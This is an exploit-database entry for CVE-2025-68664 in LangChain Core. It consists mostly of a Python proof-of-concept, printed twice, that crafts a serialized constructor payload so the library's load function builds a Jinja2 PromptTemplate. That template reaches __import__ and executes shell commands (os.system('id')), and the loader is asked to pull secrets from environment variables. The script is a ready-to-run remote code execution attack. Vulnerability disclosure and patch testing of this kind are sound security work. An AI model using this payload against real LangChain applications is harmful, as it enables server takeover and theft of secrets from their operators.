9.3
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Description
Exploit Title: LangChain Core - SSTI/RCE Date: 2025-12-29 Exploit Author: Mohammed Idrees Banyamer Author Country: Jordan Contact: @banyamersecurity Instagram GitHub: https://github.com/mbanyamer Vendor Homepage: https://www.langchain.com/ Software...
Basic Information
ID
EDB-ID:52514
Published
Apr 29, 2026 at 00:00
Affected Product
Affected Versions
# Exploit Title: LangChain Core - SSTI/RCE
# Date: 2025-12-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Contact: @banyamer_security (Instagram)
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.langchain.com/
# Software Link: https://pypi.org/project/langchain-core/
# Version: < 0.3.81 and < 1.2.5
# Tested on: Python 3.10 - 3.12
# CVE : CVE-2025-68664
# Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate
# with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution.
import os
from langchain_core.load import dumps, load
from langchain_core.prompts import PromptTemplate
# Set a dummy env var (demonstrates potential secret access if needed)
os.environ["TEST_SECRET"] = "secret_value_123"
# Malicious constructor payload targeting PromptTemplate with SSTI
payload = {
"exploit": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
"kwargs": {
"input_variables": [],
"template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}",
"template_format": "jinja2"
}
}
}
# Serialize (dumps does not escape 'lc' key)
serialized = dumps(payload)
# Deserialize - instantiates the malicious PromptTemplate
deserialized = load(serialized, secrets_from_env=True)
# Extract and invoke the malicious prompt → triggers SSTI → RCE
malicious = deserialized["exploit"]
output = malicious.format()
print("[*] Command execution output:")
print(output)
# Date: 2025-12-29
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Contact: @banyamer_security (Instagram)
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.langchain.com/
# Software Link: https://pypi.org/project/langchain-core/
# Version: < 0.3.81 and < 1.2.5
# Tested on: Python 3.10 - 3.12
# CVE : CVE-2025-68664
# Description: Exploits unsafe deserialization in langchain_core.load to instantiate a malicious PromptTemplate
# with Jinja2 format, leading to Server-Side Template Injection and arbitrary command execution.
import os
from langchain_core.load import dumps, load
from langchain_core.prompts import PromptTemplate
# Set a dummy env var (demonstrates potential secret access if needed)
os.environ["TEST_SECRET"] = "secret_value_123"
# Malicious constructor payload targeting PromptTemplate with SSTI
payload = {
"exploit": {
"lc": 1,
"type": "constructor",
"id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
"kwargs": {
"input_variables": [],
"template": "{{ config.get('callbacks', {}).get('__builtins__', {}).get('__import__', lambda x: __import__(x))('os').system('id') }}",
"template_format": "jinja2"
}
}
}
# Serialize (dumps does not escape 'lc' key)
serialized = dumps(payload)
# Deserialize - instantiates the malicious PromptTemplate
deserialized = load(serialized, secrets_from_env=True)
# Extract and invoke the malicious prompt → triggers SSTI → RCE
malicious = deserialized["exploit"]
output = malicious.format()
print("[*] Command execution output:")
print(output)